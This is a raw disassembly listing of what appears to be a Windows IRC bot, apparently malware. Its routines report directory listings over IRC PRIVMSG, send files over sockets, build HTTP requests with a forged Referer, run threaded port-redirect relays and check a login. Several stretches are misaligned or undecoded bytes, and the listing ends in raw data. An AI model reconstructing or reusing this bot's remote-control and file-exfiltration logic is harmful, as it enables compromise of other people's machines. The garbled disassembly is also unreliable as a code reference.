		push	eax
		call	sub_41C030
		add	esp, 24h
		jmp	loc_4106BC
; ---------------------------------------------------------------------------


loc_41056C:				; CODE XREF: sub_41011E+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410596
		push	ebx
		push	[ebp+var_368]
		call	sub_416F2B
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_410557
; ---------------------------------------------------------------------------


loc_410596:				; CODE XREF: sub_41011E+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_410696
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4301F8
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B890
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410636
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_41063B
; ---------------------------------------------------------------------------


loc_410636:				; CODE XREF: sub_41011E+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_41063B:				; CODE XREF: sub_41011E+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		jmp	short loc_4106BC
; ---------------------------------------------------------------------------


loc_410696:				; CODE XREF: sub_41011E+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_4106AD:				; CODE XREF: sub_41011E+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C030
		add	esp, 18h


loc_4106BC:				; CODE XREF: sub_41011E+31Dj
					; sub_41011E+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		cmp	[ebp+arg_8], ebx
		jz	short loc_4106EB
		push	7D0h
		call	ds:dword_427064	; Sleep


loc_4106EB:				; CODE XREF: sub_41011E+226j
					; sub_41011E+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_427000	; FindNextFileA
		test	eax, eax
		jnz	loc_41033E


loc_410703:				; CODE XREF: sub_41011E+215j
		push	[ebp+arg_0]
		call	near ptr 0B00000h
		cmp	gs:[ebp+10h], ebx
		jz	short loc_410746
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416F2B
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416F2B
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41BF36
		add	esp, 14h
		jmp	short loc_41077A
; ---------------------------------------------------------------------------


loc_410746:				; CODE XREF: sub_41011E+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_410760
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	short loc_41077A
; ---------------------------------------------------------------------------


loc_410760:				; CODE XREF: sub_41011E+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41BF36
		add	esp, 10h


loc_41077A:				; CODE XREF: sub_41011E+626j
					; sub_41011E+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41011E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107A0	proc near		; CODE XREF: sub_40FCEC+13Bp

var_4037C	= byte ptr -4037Ch
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_4270EC	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410858
		push	esi
		push	ebx
		call	near ptr 0B00000h
		cmp	al, 3Bh
		mov	byte ptr [ecx+6C740C45h], 68h ;	CODE XREF: sub_4107A0+AFj
		add	[eax+eax], al
		add	[ebp-4037Bh], cl
		call	dword ptr [esi+50h]
		call	sub_41BC40
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410802
		mov	edi, [ebp+arg_4]


loc_410802:				; CODE XREF: sub_4107A0+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_427120	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_4270E8	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4D1240
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41084C
		call	ds:dword_4D1184
		cmp	eax, 2733h
		jnz	short loc_410851
		xor	eax, eax


loc_41084C:				; CODE XREF: sub_4107A0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short near ptr loc_4107DF+6


loc_410851:				; CODE XREF: sub_4107A0+A8j
		push	ebx
		call	ds:dword_42706C	; CloseHandle


loc_410858:				; CODE XREF: sub_4107A0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4107A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41085D	proc near		; CODE XREF: seg000:0040FFEAp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B890
		test	eax, eax
		pop	ecx
		jbe	short loc_410886


loc_410870:				; CODE XREF: sub_41085D+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_41087A
		mov	byte ptr [esi+edi], 2Fh


loc_41087A:				; CODE XREF: sub_41085D+17j
		push	edi
		inc	esi
		call	sub_41B890
		cmp	esi, eax
		pop	ecx
		jb	short loc_410870


loc_410886:				; CODE XREF: sub_41085D+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41085D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41088B	proc near		; CODE XREF: seg000:00406CEBp

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_4D1160
		push	6
		push	1
		push	2
		call	ds:dword_4D1270
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_4D11F0
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AA54
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4D1198
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410968
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410904
		mov	eax, offset byte_443398


loc_410904:				; CODE XREF: sub_41088B+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_4D1240
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4D1208
		pop	esi


loc_410968:				; CODE XREF: sub_41088B+6Bj
		push	ebx
		call	ds:dword_4D1288
		call	ds:dword_4D1148
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41BF36
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4109A8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_4109A8:				; CODE XREF: sub_41088B+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_41088B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109AC	proc near		; DATA XREF: seg000:00407B95o

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	ds:dword_4D11F0
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	ds:dword_4D1270
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410B18
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	ds:dword_44412C[ecx], eax
		call	ds:dword_4D1100
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4D121C
		test	eax, eax
		jnz	loc_410B18
		push	0Ah
		push	[ebp+arg_0]
		call	ds:dword_4D1218
		test	eax, eax
		jnz	loc_410B18


loc_410A5C:				; CODE XREF: sub_4109AC+C6j
					; sub_4109AC+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4D1284
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410A5C
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_43C2BC
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40B00E
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	ds:dword_444124[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_410B3D
		push	esi
		push	esi
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_444134[ecx], eax
		jz	short loc_410B03


loc_410AF0:				; CODE XREF: sub_4109AC+155j
		cmp	[ebp+var_30], esi
		jnz	loc_410A5C
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_410AF0
; ---------------------------------------------------------------------------


loc_410B03:				; CODE XREF: sub_4109AC+142j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C280
		call	sub_41581A
		pop	ecx
		pop	ecx
		jmp	short loc_410B1B
; ---------------------------------------------------------------------------


loc_410B18:				; CODE XREF: sub_4109AC+63j
					; sub_4109AC+97j ...
		mov	edi, [ebp+arg_0]


loc_410B1B:				; CODE XREF: sub_4109AC+16Aj
		push	edi
		call	ds:dword_4D1288
		push	[ebp+arg_0]
		call	ds:dword_4D1288
		push	[ebp+var_40]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B00000h
		in	eax, dx
		pop	edi
		pop	esi
sub_4109AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B3D	proc near		; DATA XREF: sub_4109AC+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C1D0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_4D1270
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_410CF3
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	ds:dword_4D11F0
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_4D1230
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_410BCD
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_4D1274
		jmp	short loc_410BDB
; ---------------------------------------------------------------------------


loc_410BCD:				; CODE XREF: sub_410B3D+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_4D11A8


loc_410BDB:				; CODE XREF: sub_410B3D+8Ej
		cmp	eax, edi
		jz	loc_410CF3
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_4D1198
		cmp	eax, 0FFFFFFFFh
		jz	loc_410CF3
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_43C344
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_40B00E
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_44412C[ebx]
		mov	ds:dword_444124[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_444130[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset loc_410D24
		push	edi
		push	edi
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_444134[ecx], eax
		jz	short loc_410CE0


loc_410C8D:				; CODE XREF: sub_410B3D+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_410C9C
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_410C8D
; ---------------------------------------------------------------------------


loc_410C9C:				; CODE XREF: sub_410B3D+153j
		mov	ebx, 1000h


loc_410CA1:				; CODE XREF: sub_410B3D+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4D1208
		cmp	eax, edi
		jle	short loc_410CF3
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4D1240
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410CA1
		jmp	short loc_410CF3
; ---------------------------------------------------------------------------


loc_410CE0:				; CODE XREF: sub_410B3D+14Ej
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C304
		call	sub_41581A
		pop	ecx
		pop	ecx


loc_410CF3:				; CODE XREF: sub_410B3D+44j
					; sub_410B3D+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	ds:dword_44412C[eax]
		call	ds:dword_4D1288
		push	[ebp+arg_0]
		call	ds:dword_4D1288
		push	[ebp+var_4]
		call	sub_40B32A
		pop	ecx
		push	edi
		call	near ptr 0B00000h
		retn	5E5Fh
sub_410B3D	endp

; ---------------------------------------------------------------------------
		pop	ebx


loc_410D24:				; DATA XREF: sub_410B3D+130o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C1D0
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410D5B:				; CODE XREF: seg000:00410DA0j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	ds:dword_444130[esi]
		call	ds:dword_4D1208
		test	eax, eax
		jle	short loc_410DA2
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	ds:dword_44412C[esi]
		call	ds:dword_4D1240
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410D5B


loc_410DA2:				; CODE XREF: seg000:00410D85j
		push	ds:dword_444130[esi]
		call	ds:dword_4D1288
		push	dword ptr [ebp-14h]
		call	sub_40B32A
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0F2h
		dd 5FFD006Eh
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_44412C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	ds:dword_4D11D8
		test	eax, eax
		jnz	short near ptr loc_410E44+1
		push	dword ptr [esi]
		call	ds:dword_4D1288
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	edi
		call	near ptr 0B00000h


loc_410E44:				; CODE XREF: seg000:00410E2Bj
		xchg	dl, [edi-73h]
		inc	ebp
		les	edx, [ebx+50h]
		push	dword ptr [esi]
		call	ds:dword_4D1208
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_410FC5+1
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_410FC5+1
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_410FC5+1
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4D1144
		test	eax, eax
		jz	short near ptr loc_410EBD+1
		call	ds:dword_4D1184
		push	eax
		push	offset unk_43C41C
		call	sub_41581A
		push	dword ptr [ebp+8]
		call	sub_40B32A
		add	esp, 0Ch
		push	edi
		call	near ptr 0B00000h


loc_410EBD:				; CODE XREF: seg000:00410E99j
		sbb	al, 6Ah
		add	cl, [ebp+46AE845h]
		push	eax
		call	ds:dword_4D11A8
		cmp	eax, edi
		jnz	short loc_410EE8
		push	dword ptr [ebp-18h]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BF36
		jmp	short loc_410EF6
; ---------------------------------------------------------------------------


loc_410EE8:				; CODE XREF: seg000:00410ECEj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C550


loc_410EF6:				; CODE XREF: seg000:00410EE6j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_443398
		push	dword ptr [esi]
		call	ds:dword_4D1240
		cmp	ds:dword_4D3F58, edi
		jnz	short near ptr loc_410F57+1
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_411020
		add	esp, 10h
		test	eax, eax
		jnz	short near ptr loc_410F57+1
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	ds:dword_4D1240
		push	dword ptr [esi]
		call	ds:dword_4D1288
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	edi
		call	near ptr 0B00000h


loc_410F57:				; CODE XREF: seg000:00410F0Dj
					; seg000:00410F2Ej
		test	dword ptr [ebp-0AF7Bh],	458D50FFh
		aam	50h
		push	offset unk_43C3E0
		call	sub_41581A
		push	dword ptr [ebp+8]
		call	sub_4112D7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410F9F
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C3B4
		call	sub_41581A
		push	dword ptr [ebp+8]
		call	sub_40B32A
		add	esp, 0Ch
		push	ebx
		call	near ptr 0B00000h
		aas


loc_410F9F:				; CODE XREF: seg000:00410F7Aj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_43C388
		call	sub_41581A
		push	dword ptr [ebp+8]
		call	sub_40B32A
		add	esp, 10h
		push	edi
		call	near ptr 0B00000h


loc_410FC5:				; CODE XREF: seg000:00410E5Bp
					; seg000:00410E68p ...
		db	67h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp-1]
		push	1
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4D1208
		cmp	eax, 1
		jnz	short loc_411016
		mov	esi, [ebp+0Ch]


loc_410FE4:				; CODE XREF: seg000:00411007j
		mov	al, [ebp-1]
		mov	[esi], al
		inc	esi
		dec	dword ptr [ebp+10h]
		jz	short loc_41100B
		test	al, al
		jz	short loc_41101A
		push	0
		lea	eax, [ebp-1]
		push	1
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4D1208
		cmp	eax, 1
		jz	short loc_410FE4
		jmp	short loc_411016
; ---------------------------------------------------------------------------


loc_41100B:				; CODE XREF: seg000:00410FEDj
		push	offset unk_43C448
		call	sub_41581A
		pop	ecx


loc_411016:				; CODE XREF: seg000:00410FDFj
					; seg000:00411009j
		xor	eax, eax
		jmp	short loc_41101D
; ---------------------------------------------------------------------------


loc_41101A:				; CODE XREF: seg000:00410FF1j
		push	1
		pop	eax


loc_41101D:				; CODE XREF: seg000:00411018j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_411020	proc near		; CODE XREF: seg000:00410F24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41104B
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_43C474
		call	sub_41581A
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41104B:				; CODE XREF: sub_411020+11j
		push	1
		pop	eax
		retn
sub_411020	endp

; ---------------------------------------------------------------------------
byte_41104F	db 55h			; DATA XREF: seg000:00403E86o
		dd 0EC81EC8Bh, 5A4h, 5608458Bh,	59786A57h, 0BD8DF08Bh
		dd 0FFFFFDECh, 0A5F3016Ah, 0DCB8895Fh, 8D000001h, 0FFFA5C85h
		dd 26850FFh, 0FF000002h, 4D116015h, 3BF63300h, 501D74C6h
		dd 43C5E468h, 4784E800h, 75FF0000h, 0A28CE8B4h,	0C483FFFFh
		dd 59E8570Ch, 74006EEFh, 12CD6857h, 4DE80041h, 0B8006EEFh
		dd 2975C085h, 708C15FFh, 68500042h, 43C5A0h, 4751E8h, 0FF595900h
		dd 4D114815h, 0B475FF00h, 0FFA251E8h, 0E85759FFh, 6EEF20h
		dd 106A531Eh, 56E0458Dh, 0AB52E850h, 0C4830000h, 45C7660Ch
		dd 0FF0002E0h, 15FFB075h, 4D11F0h, 6A57066Ah, 45896602h
		dd 0E47589E2h, 127015FFh, 0D88B004Dh, 0FFFFB83h, 13B84h
		dd 0B4458B00h, 0C069106Ah, 234h, 412C9889h, 458D0044h
		dd 0FF5350E0h, 4D121C15h, 0FC08500h, 11785h, 0FFFF6800h
		dd 0FF537FFFh, 4D121815h, 0FC08500h, 10385h, 0C5646800h
		dd 45C70043h, 0CF0h, 0F4758900h, 0E8F87589h, 463Ah, 87D8959h
		dd 0C7FC458Dh, 10FC45h,	8D500000h, 5350CC45h, 128415FFh
		dd 0F88B004Dh, 0FFFFF83h, 0CA84h, 875FF00h, 5008458Dh
		dd 0FF68086Ah, 570000FFh, 11D015FFh, 0F883004Dh, 0FC574FFh
		dd 0FFCE45B7h, 7589B475h, 75FF50C8h, 7C15FFD0h,	50004D12h
		dd 0FBEC858Dh, 2068FFFFh, 500043C5h, 0AD65E8h, 0EC858D00h
		dd 50FFFFFBh, 45C9E8h, 858D5700h, 0FFFFFBECh, 0E850096Ah
		dd 0FFFF9E22h, 69B84589h, 234C0h, 0B44D8B00h, 8924C483h
		dd 44412488h, 0DC458D00h, 0EC858D50h, 56FFFFFDh, 0DC16850h
		dd 458D0041h, 0FF5056F0h, 42707C15h, 0B84D8B00h, 234C969h
		dd 0C63B0000h, 41348189h, 13740044h, 0FC87539h,	0FFFF3785h
		dd 0FF326AFFh, 42706415h, 0FFEDEB00h, 42708C15h, 0E4685000h
